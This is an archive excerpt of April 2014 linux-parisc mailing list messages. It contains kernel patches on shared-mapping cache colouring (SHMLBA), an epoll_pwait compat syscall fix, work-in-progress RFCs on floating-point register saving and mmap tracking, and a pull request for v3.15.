	Fri,  4 Apr 2014 15:45:11 +0000 (UTC)
In-Reply-To: <BLU0-SMTP173C739CD0C1E1CE4E403D976C0@phx.gbl>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5753
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5753>

On Thu, 3 Apr 2014 16:12:03 -0400
John David Anglin <dave.anglin@bell.net> wrote:

> On 4/3/2014 3:41 PM, Helge Deller wrote:
> Regarding the kernel patch, I see you have used the British/Canadian 
> spelling of "colour" :-)

Also:

+#define SHM_COLOUR 0x00400000	/* shared mappings coulouring */

coulouring => colouring


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: change value of SHMLBA from 0x00400000 to PAGE_SIZE
Date: Wed, 9 Apr 2014 19:49:28 +0200
Lines: 106
Approved: news@gmane.org
Message-ID: <20140409174928.GA2634@ls3530.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1397065781 12136 80.91.229.3 (9 Apr 2014 17:49:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Apr 2014 17:49:41 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 09 19:49:35 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WXwcw-0005kP-Kk
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Apr 2014 19:49:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932847AbaDIRtd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Apr 2014 13:49:33 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:64387 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933143AbaDIRtc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Apr 2014 13:49:32 -0400
Original-Received: from ls3530.fritz.box ([84.173.5.85]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MTTKZ-1WOQmb0iBD-00SQDL; Wed, 09 Apr 2014 19:49:30
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:mCfCd8vm9hAM3bCSNiFPIiBuZqHjHIcvJTuhSnzBIZbE7EOOpuB
 lckZ76cqZhTyMV2RN+q2HfG9yCNlQQB0Yg1BZ3VXgZFAEFvcAasEMKDDhHnyxG6ajbpFPUo
 K+XYlf1BwoyhN0jAWtD1UctaF6IkvBJGNFwYJhYqDng3hlCK8jpb2hwZbL9sXeL3yh4j6dD
 USeMq+s3yI4lJQe1OGV8w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5754
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5754>

On parisc, SHMLBA was defined to 0x00400000 (4MB) to reflect that we need to
take care of our caches for shared mappings. But actually, we can map a file at
any multiple address of PAGE_SIZE, so let us correct that now with a value of
PAGE_SIZE for SHMLBA.  Instead we now take care of this cache colouring via the
constant SHM_COLOUR while we map shared pages.

Signed-off-by: Helge Deller <deller@gmx.de>
CC: Jeroen Roovers <jer@gentoo.org>
CC: John David Anglin <dave.anglin@bell.net>
CC: Carlos O'Donell <carlos@systemhalted.org>
Cc: stable@kernel.org [3.13+]

diff --git a/arch/parisc/include/asm/shmparam.h b/arch/parisc/include/asm/shmparam.h
index 628ddc2..afe1300 100644
--- a/arch/parisc/include/asm/shmparam.h
+++ b/arch/parisc/include/asm/shmparam.h
@@ -1,8 +1,7 @@
 #ifndef _ASMPARISC_SHMPARAM_H
 #define _ASMPARISC_SHMPARAM_H
 
-#define __ARCH_FORCE_SHMLBA 	1
-
-#define SHMLBA 0x00400000   /* attach addr needs to be 4 Mb aligned */
+#define SHMLBA	   PAGE_SIZE	/* attach addr a multiple of this */
+#define SHM_COLOUR 0x00400000	/* shared mappings colouring */
 
 #endif /* _ASMPARISC_SHMPARAM_H */
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index a6ffc77..f6448c7 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -323,7 +323,8 @@ void flush_dcache_page(struct page *page)
 		 * specifically accesses it, of course) */
 
 		flush_tlb_page(mpnt, addr);
-		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
+		if (old_addr == 0 || (old_addr & (SHM_COLOUR - 1))
+				      != (addr & (SHM_COLOUR - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
 			if (old_addr)
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index b7cadc4..31ffa9b 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -45,7 +45,7 @@
 
 static int get_offset(unsigned int last_mmap)
 {
-	return (last_mmap & (SHMLBA-1)) >> PAGE_SHIFT;
+	return (last_mmap & (SHM_COLOUR-1)) >> PAGE_SHIFT;
 }
 
 static unsigned long shared_align_offset(unsigned int last_mmap,
@@ -57,8 +57,8 @@ static unsigned long shared_align_offset(unsigned int last_mmap,
 static inline unsigned long COLOR_ALIGN(unsigned long addr,
 			 unsigned int last_mmap, unsigned long pgoff)
 {
-	unsigned long base = (addr+SHMLBA-1) & ~(SHMLBA-1);
-	unsigned long off  = (SHMLBA-1) &
+	unsigned long base = (addr+SHM_COLOUR-1) & ~(SHM_COLOUR-1);
+	unsigned long off  = (SHM_COLOUR-1) &
 		(shared_align_offset(last_mmap, pgoff) << PAGE_SHIFT);
 
 	return base + off;
@@ -101,7 +101,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	if (flags & MAP_FIXED) {
 		if ((flags & MAP_SHARED) && last_mmap &&
 		    (addr - shared_align_offset(last_mmap, pgoff))
-				& (SHMLBA - 1))
+				& (SHM_COLOUR - 1))
 			return -EINVAL;
 		goto found_addr;
 	}
@@ -122,7 +122,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.length = len;
 	info.low_limit = mm->mmap_legacy_base;
 	info.high_limit = mmap_upper_limit();
-	info.align_mask = last_mmap ? (PAGE_MASK & (SHMLBA - 1)) : 0;
+	info.align_mask = last_mmap ? (PAGE_MASK & (SHM_COLOUR - 1)) : 0;
 	info.align_offset = shared_align_offset(last_mmap, pgoff);
 	addr = vm_unmapped_area(&info);
 
@@ -161,7 +161,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	if (flags & MAP_FIXED) {
 		if ((flags & MAP_SHARED) && last_mmap &&
 		    (addr - shared_align_offset(last_mmap, pgoff))
-			& (SHMLBA - 1))
+			& (SHM_COLOUR - 1))
 			return -EINVAL;
 		goto found_addr;
 	}
@@ -182,7 +182,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	info.length = len;
 	info.low_limit = PAGE_SIZE;
 	info.high_limit = mm->mmap_base;
-	info.align_mask = last_mmap ? (PAGE_MASK & (SHMLBA - 1)) : 0;
+	info.align_mask = last_mmap ? (PAGE_MASK & (SHM_COLOUR - 1)) : 0;
 	info.align_offset = shared_align_offset(last_mmap, pgoff);
 	addr = vm_unmapped_area(&info);
 	if (!(addr & ~PAGE_MASK))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix epoll_pwait syscall on compat kernel
Date: Sun, 13 Apr 2014 00:03:55 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20140412220355.GA5078@ls3530.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1397340252 18250 80.91.229.3 (12 Apr 2014 22:04:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Apr 2014 22:04:12 +0000 (UTC)
Cc: dave.anglin@bell.net
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 13 00:04:03 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WZ61n-0003WK-TI
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Apr 2014 00:04:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756438AbaDLWD7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Apr 2014 18:03:59 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:64632 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756283AbaDLWD6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Apr 2014 18:03:58 -0400
Original-Received: from ls3530.fritz.box ([84.173.0.133]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MaZrd-1WF5Eb3H0T-00KCMc; Sun, 13 Apr 2014 00:03:56
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:wg1cX7x/xwXmGgD3tEqRQt60wbHbZAZwO8NLsb+PriNdY6VkWUi
 4DyUONr6lZYeAm6xK9Hx7qSv6ikNCfxAKOWhbUNdSx9uAH8qKmniQ6LGAnZWFUvxLRv22/f
 uGfDinkOFtjvL7cvTgHsIhUJRLCm+761I/h2r7eEpV0BKN4ohjl1YrDDlv803Or06YkDMxi
 QjNnovDm8y/xTDULPcrGg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5755
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5755>

Signed-off-by: Helge Deller <deller@gmx.de>
CC: stable@kernel.org

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 80e5dd2..83ead0e 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -392,7 +392,7 @@
 	ENTRY_COMP(vmsplice)
 	ENTRY_COMP(move_pages)		/* 295 */
 	ENTRY_SAME(getcpu)
-	ENTRY_SAME(epoll_pwait)
+	ENTRY_COMP(epoll_pwait)
 	ENTRY_COMP(statfs64)
 	ENTRY_COMP(fstatfs64)
 	ENTRY_COMP(kexec_load)		/* 300 */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC,PATCH] parisc: avoid saving & restoring fp regs at syscall entry
Date: Sun, 13 Apr 2014 22:17:33 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <20140413201733.GA7858@ls3530.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1397420281 27118 80.91.229.3 (13 Apr 2014 20:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Apr 2014 20:18:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org, dave.anglin@bell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 13 22:17:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WZQqf-0002bx-KF
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Apr 2014 22:17:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755052AbaDMURt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Apr 2014 16:17:49 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:61514 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754980AbaDMURj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Apr 2014 16:17:39 -0400
Original-Received: from ls3530.fritz.box ([84.173.41.182]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MBZ9u-1Wikli2GKU-00AZQo; Sun, 13 Apr 2014 22:17:36
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:sNiXkW57P+jebzVW50WGmrm6Wj/1q6rWUEeheYh56vKgL8eV+de
 Z9cXlJT/M9H0MxfNuKCxP0Q3S8eEHm3okv1SpmfoCqiNGJX+6Ud1NfY4S+nsk0+LQDqxXab
 dAiwfIMlxYoiN/MrGsZ6CstmLYONJv/PT30PcQ/kHz2TVuVdPK/8i0n3NmLARGbCmP6mx5+
 wwMZj/9oTXnOs1z0c5Kag==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5756
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5756>

This is a work-in-progress patch to avoid unneccesary saving of floating
point regs when entering syscalls (it still generates segfaults...!).
The compiler option -mdisable-fpregs takes care that we don't use fp
regs in kernel code by accident.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index e8f07dd..810769b 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -785,9 +785,13 @@ ENDPROC(ret_from_kernel_thread)
 ENTRY(_switch_to)
 	STREG	 %r2, -RP_OFFSET(%r30)
 
-	callee_save_float
 	callee_save
 
+	/* TODO: we could check TASK_FLAGS and only save the fpregs when
+	 * switching away from a userspace task. */
+	ldo	TASK_PT_FR0(%r26), %r1	/* save fpregs for task switch */
+	save_fp	%r1
+
 	load32	_switch_to_ret, %r2
 
 	STREG	%r2, TASK_PT_KPC(%r26)
@@ -795,6 +799,12 @@ ENTRY(_switch_to)
 
 	STREG	%r30, TASK_PT_KSP(%r26)
 	LDREG	TASK_PT_KSP(%r25), %r30
+
+	/* TODO: we could check TASK_FLAGS and restore the fpregs only when
+	 * we return to a userspace task. */
+	ldo	TASK_PT_FR31(%r25),%r1	/* reload fpregs */
+	rest_fp	%r1
+
 	LDREG	TASK_THREAD_INFO(%r25), %r25
 	bv	%r0(%r2)
 	mtctl   %r25,%cr30
@@ -802,7 +812,6 @@ ENTRY(_switch_to)
 _switch_to_ret:
 	mtctl	%r0, %cr0		/* Needed for single stepping */
 	callee_rest
-	callee_rest_float
 
 	LDREG	-RP_OFFSET(%r30), %r2
 	bv	%r0(%r2)
@@ -913,8 +922,6 @@ intr_check_sig:
 
 intr_restore:
 	copy            %r16,%r29
-	ldo             PT_FR31(%r29),%r1
-	rest_fp         %r1
 	rest_general    %r29
 
 	/* inverse of virt_map */
@@ -1013,9 +1020,6 @@ intr_extint:
 	virt_map
 	save_general	%r29
 
-	ldo	PT_FR0(%r29), %r24
-	save_fp	%r24
-	
 	loadgp
 
 	copy	%r29, %r26	/* arg0 is pt_regs */
@@ -1094,9 +1098,6 @@ skip_save_ior:
 	virt_map
 	save_general	%r29
 
-	ldo		PT_FR0(%r29), %r25
-	save_fp		%r25
-	
 	loadgp
 
 	copy		%r29, %r25	/* arg1 is pt_regs */
@@ -1856,9 +1857,6 @@ syscall_restore:
 	and,COND(=)	%r19,%r2,%r0
 	b,n	syscall_restore_rfi
 
-	ldo	TASK_PT_FR31(%r1),%r19		   /* reload fpregs */
-	rest_fp	%r19
-
 	LDREG	TASK_PT_SAR(%r1),%r19		   /* restore SAR */
 	mtsar	%r19
 
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index a63bb179..89163e7 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -184,9 +184,6 @@ linux_gateway_entry:
 	STREG	%r29, TASK_PT_GR29(%r1)		/* return value 1 */
 	STREG	%r31, TASK_PT_GR31(%r1)		/* preserve syscall return ptr */
 	
-	ldo	TASK_PT_FR0(%r1), %r27		/* save fpregs from the kernel */
-	save_fp	%r27				/* or potential task switch  */

From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.15
Date: Thu, 17 Apr 2014 21:07:40 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20140417190740.GA1254@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1397761675 22281 80.91.229.3 (17 Apr 2014 19:07:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Apr 2014 19:07:55 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 17 21:07:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Warf0-0007vK-Gh
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Apr 2014 21:07:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751229AbaDQTHp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Apr 2014 15:07:45 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49815 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751149AbaDQTHo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Apr 2014 15:07:44 -0400
Original-Received: from p100.fritz.box ([84.173.12.94]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MF5FT-1WiHMj0buN-00GJsY; Thu, 17 Apr 2014 21:07:42
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:7nPak3CJslESk/ADw/ub7JgSB8/m0ufeHijUgT8b5tjD7IEqRiL
 ytDI5AW7vh27UularJFXJzWsYQh5L+NOvwFMuXHVEN1CofU4eXsg0hzfu86PLcUkEjWIgl2
 s+gnHAvFKxS5Pf4cTNVnRvQB9Ox1cLnHjE2upZ+CwEmfrX5caxprtiH1jbSxUXo4+34V9l9
 gEyHgSm89MrEmUrRchbGw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5758 gmane.linux.kernel:1685649
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5758>

Hi Linus,

please pull the latest parisc architecture fixes from: 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.15

There are two major changes in this patchset:
The major fix is that the epoll_pwait() syscall for 32bit userspace was not
using the compat wrapper on a 64bit kernel.
Secondly we changed the value of SHMLBA from 4MB to PAGE_SIZE to reflect
that we can actually mmap to any multiple of PAGE_SIZE. The only thing
which needs care is that shared mmaps need to be mapped at the same
offset inside the 4MB cache window.

Thanks,
Helge

----------------------------------------------------------------
Christoph Lameter (1):
      parisc: Replace __get_cpu_var uses for address calculation

Helge Deller (2):
      parisc: change value of SHMLBA from 0x00400000 to PAGE_SIZE
      parisc: fix epoll_pwait syscall on compat kernel

 arch/parisc/include/asm/shmparam.h |  5 ++---
 arch/parisc/kernel/cache.c         |  3 ++-
 arch/parisc/kernel/sys_parisc.c    | 14 +++++++-------
 arch/parisc/kernel/syscall_table.S |  2 +-
 arch/parisc/lib/memcpy.c           |  2 +-
 arch/parisc/mm/fault.c             |  2 +-
 6 files changed, 14 insertions(+), 14 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: [RFC,PATCH] mm,parisc: keep track of last mmap'ed address
Date: Thu, 17 Apr 2014 22:45:45 +0200
Lines: 112
Approved: news@gmane.org
Message-ID: <20140417204545.GA4567@ls3530.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1397767562 14165 80.91.229.3 (17 Apr 2014 20:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Apr 2014 20:46:02 +0000 (UTC)
To: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 17 22:45:56 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WatBz-0000wh-9Q
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Apr 2014 22:45:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751016AbaDQUpy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Apr 2014 16:45:54 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54675 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750969AbaDQUpx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Apr 2014 16:45:53 -0400
Original-Received: from ls3530.fritz.box ([84.173.12.94]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MIuft-1WdM1t2BWj-002a7P; Thu, 17 Apr 2014 22:45:48
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:FaGsc3+wZf/7xxZFDQOZ8WKBCJKtsT/c2/LdbEbH0Six92muBnA
 zSx8u4CCDDy55ekl6sefrDgDEHOa2MSrwsETF3t/mGqJd9WAGz9L9kaPavIBXvSkXzfUS3s
 sKCaCnuu29Mjgh6zUnKEMqq3rwmgV7aOg0FKFzo1WPKrA4V1fDl74nzRTAh9B+8gW2vQrSR
 oDpZL6yAEUs+xcC3VNBVg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5759 gmane.linux.kernel.mm:115868 gmane.linux.kernel:1685698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5759>

Would the following patch be acceptable?
It adds an additional field to struct address_space which will most likely only
be used by the parisc arch.

If it's acceptable, I would like to push it through the parisc tree, if not,
I'm of course open to other ideas too.

Thanks,
Helge

PATCH:
[RFC,PATCH] mm,parisc: keep track of last mmap'ed address

Because of parisc's cache aliasing constraints we need to map shared pages at a
multiple of 4MB while most other architectures can map files at any multiple of
PAGE_SIZE. In the past this constraint was ensured by calculating a virtual
offset into this 4MB region which is based on the physical address of the
kernel mapping variable (right-shift value of filp->f_mapping by 8 bits).
Since we only have a 32bit userspace (even when running on a 64bit kernel) this
often leads to large gaps in the maps of the userspace processes and to out of
memory situations even if physical memory was still free.  Of course I did
played with other variants of shifting the f_mapping value to find better
offsets but this didn't helped either.

This patch chooses a different approach.
It adds the additional field i_mmap_lastmmap to the address_space struct to
keep track of the last mapping of a shared file. With this bookkeeping it's
possible for the parisc memory allocator to 
a) choose a new mapping offset if the file hasn't been mapped yet, and
b) take the last-used mapping if it was already mapped by another process.

Overall this approach leads to a more condensed memory usage on parisc because
the shared files will now be mapped much closer to each other. This is e.g.
visible with shared libraries which are now not any longer cluttered around
in the userspace process but close to each other at the top of the userspace
memory.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/include/linux/fs.h b/include/linux/fs.h
index 81048f9..f757a5c 100644
--- a/include/linux/fs.h
+++ b/include/linux/fs.h
@@ -416,6 +416,9 @@ struct address_space {
 	unsigned int		i_mmap_writable;/* count VM_SHARED mappings */
 	struct rb_root		i_mmap;		/* tree of private and shared mappings */
 	struct list_head	i_mmap_nonlinear;/*list VM_NONLINEAR mappings */
+#ifdef CONFIG_MMAP_TRACKING
+	unsigned long		i_mmap_lastmmap; /* address of last mmap */
+#endif
 	struct mutex		i_mmap_mutex;	/* protect tree, count, list */
 	/* Protected by tree_lock together with the radix tree */
 	unsigned long		nrpages;	/* number of total pages */
diff --git a/mm/mmap.c b/mm/mmap.c
index b1202cf..e2659c3 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -212,8 +212,13 @@ static void __remove_shared_vm_struct(struct vm_area_struct *vma,
 {
 	if (vma->vm_flags & VM_DENYWRITE)
 		atomic_inc(&file_inode(file)->i_writecount);
-	if (vma->vm_flags & VM_SHARED)
+	if (vma->vm_flags & VM_SHARED) {
 		mapping->i_mmap_writable--;
+#ifdef CONFIG_MMAP_TRACKING
+		if (mapping->i_mmap_writable == 0)
+			mapping->i_mmap_lastmmap = 0;
+#endif
+	}
 
 	flush_dcache_mmap_lock(mapping);
 	if (unlikely(vma->vm_flags & VM_NONLINEAR))
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index bb2a8ec..9518361 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -38,6 +38,9 @@ config PARISC
 config MMU
 	def_bool y
 
+config MMAP_TRACKING
+	def_bool y
+
 config STACK_GROWSUP
 	def_bool y
 
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 31ffa9b..7d8cbd1 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -36,12 +36,12 @@
 #include <linux/personality.h>
 #include <linux/random.h>
 
-/* we construct an artificial offset for the mapping based on the physical
- * address of the kernel mapping variable */
+/* the address_space struct holds a field i_mmap_lastmmap with the last mapping
+ * of this file for us */
